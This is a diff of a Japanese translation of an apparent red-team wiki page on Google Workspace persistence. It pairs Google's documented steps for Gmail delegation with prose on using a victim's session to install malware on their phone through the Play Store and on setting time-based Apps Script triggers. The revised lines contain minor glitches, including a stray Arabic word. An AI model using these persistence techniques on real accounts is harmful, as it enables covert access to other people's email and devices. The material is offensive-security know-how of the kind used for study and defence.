を設定した場合、親の organizational unit の settings を **Inherit** または **Override** できる場合があります。 +10. （任意）他の organizational units でも Gmail delegation を有効にするには、手順 3–9 を繰り返す。 -変更には最大24時間かかる場合がありますが、通常はより早く行われます。[詳細を学ぶ](https://support.google.com/a/answer/7514107) +変更が反映されるまで最大 24 時間かかる場合がありますが、通常はもっと سريعです。 [Learn more](https://support.google.com/a/answer/7514107) -#### ステップ2：ユーザーが自分のアカウントの委任者を設定する +#### Step 2: users に account の delegates を設定してもらう -委任を有効にした後、ユーザーは自分のGmail設定に移動して委任者を割り当てます。委任者はその後、ユーザーの代わりにメッセージを読み、送信し、受信できます。 +delegation を有効にした後、users は Gmail settings で delegates を割り当てます。delegates はその user に代わって messages を read、send、receive できます。 -詳細については、ユーザーに[メールの委任と共同作業](https://support.google.com/a/users/answer/138350)を参照させてください。 +詳細は、users に [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350) を案内してください。
-通常のユーザーから、アクセスを委任するための手順を確認してください +通常の suer なら、自分の access を delegate しようとする手順はここを確認 -(情報は[**ドキュメントからコピー**](https://support.google.com/mail/answer/138350)) +([**docs から**](https://support.google.com/mail/answer/138350) コピーした情報) -最大10人の委任者を追加できます。 +最大 10 人の delegates を追加できます。 -職場、学校、または他の組織を通じてGmailを使用している場合： +仕事、学校、または他の organization 経由で Gmail を使っている場合: -- 組織内で最大1000人の委任者を追加できます。 -- 通常の使用では、40人の委任者が同時にGmailアカウントにアクセスできます。 -- 自動化プロセス（APIやブラウザ拡張機能など）を使用している場合、数人の委任者が同時にGmailアカウントにアクセスできます。 +- organization 内で最大 1000 人の delegates を追加できます。 +- 通常の利用では、40 人の delegates が同時に Gmail account に access できます。 +- APIs や browser extensions などの automated processes を使っている場合、同時に Gmail account に access できる delegates は少数になります。 -1. コンピュータで[Gmail](https://mail.google.com/)を開きます。Gmailアプリからは委任者を追加できません。 -2. 右上で設定をクリックします ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![その後](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **すべての設定を表示**をクリックします。 -3. **アカウントとインポート**または**アカウント**タブをクリックします。 -4. "アカウントへのアクセスを付与"セクションで、**別のアカウントを追加**をクリックします。職場や学校を通じてGmailを使用している場合、組織がメールの委任を制限している可能性があります。この設定が表示されない場合は、管理者に連絡してください。 -- アカウントへのアクセスを付与が表示されない場合、それは制限されています。 -5. 追加したい人のメールアドレスを入力します。職場、学校、または他の組織を通じてGmailを使用している場合、管理者が許可している場合は、グループのメールアドレスを入力できます。このグループは、あなたの組織と同じドメインを持っている必要があります。グループの外部メンバーは委任アクセスを拒否されます。\ +1. computer で [Gmail](https://mail.google.com/) を開く。Gmail app からは delegates を追加できません。 +2. 右上で、Settings ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![and then](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **See all settings** をクリックする。 +3. **Accounts and Import** または **Accounts** タブをクリックする。 +4. "Grant access to your account" セクションで、**Add another account** をクリックする。仕事や学校経由で Gmail を使っている場合、organization が email delegation を制限していることがあります。この setting が見えない場合は admin に連絡してください。 +- "Grant access to your account" が表示されない場合は、制限されています。 +5. 追加したい相手の email address を入力する。仕事、学校、または他の organization 経由で Gmail を使っていて、admin が許可している場合は、group の email address を入力できます。この group は organization と同じ domain を持っている必要があります。group の外部 members は delegation access を拒否されます。\ \ -**重要：**委任するアカウントが新しいアカウントであるか、パスワードがリセットされた場合、管理者は最初にサインインする際にパスワードを変更する必要があるという要件をオフにする必要があります。 +**重要:** delegate する account が新規 account であるか password が reset された場合、Admin は初回 sign in 時の password 変更要件を無効にする必要があります。 -- [管理者がユーザーを作成する方法を学ぶ](https://support.google.com/a/answer/33310)。 -- [管理者がパスワードをリセットする方法を学ぶ](https://support.google.com/a/answer/33319)。 +- [Admin が user を作成する方法](https://support.google.com/a/answer/33310)。 +- [Admin が passwords を reset する方法](https://support.google.com/a/answer/33319)。 -6. **次のステップ**をクリックします ![その後](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **アクセスを付与するためのメールを送信**します。 +6\. **Next Step** ![and then](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Send email to grant access** をクリックする。 -追加した人は確認を求めるメールを受け取ります。招待は1週間後に期限切れになります。 +追加された相手には確認を求める email が届きます。招待は 1 週間で失効します。 -グループを追加した場合、すべてのグループメンバーは確認なしで委任者になります。 +group を追加した場合、確認なしで group members 全員が delegates になります。 -注意：委任が有効になるまで最大24時間かかる場合があります。 +Note: delegation が有効になるまで最大 24 時間かかることがあります。
-## Androidアプリによる持続性 +## Android App 経由の Persistence -もしあなたが**被害者のGoogleアカウント内にセッションを持っている場合**、**Playストア**にアクセスし、すでにストアにアップロードした**マルウェアを直接**電話に**インストール**して持続性を維持し、被害者の電話にアクセスすることができるかもしれません。 +**victim の google account 内で session** がある場合、**Play Store** を開いて、すでに store にアップロード済みの **malware を直接 phone に install** し、persistence と victim の phone への access を維持できる可能性があります。 -## **アプリスクリプトによる持続性** +## **App Scripts 経由の Persistence** -アプリスクリプトで**時間ベースのトリガーを作成**できますので、アプリスクリプトがユーザーによって受け入れられた場合、ユーザーがアクセスしなくても**トリガーされます**。これを行う方法の詳細については、以下を確認してください： +App Scripts で **time-based triggers** を作成できるため、App Script が user に accept されれば、**user がそれに access しなくても** **triggered** されます。これを行う方法の詳細は以下を参照してください: {{#ref}} gws-google-platforms-phishing/gws-app-scripts.md {{#endref}} -## 参考文献 +## References - [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic - [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?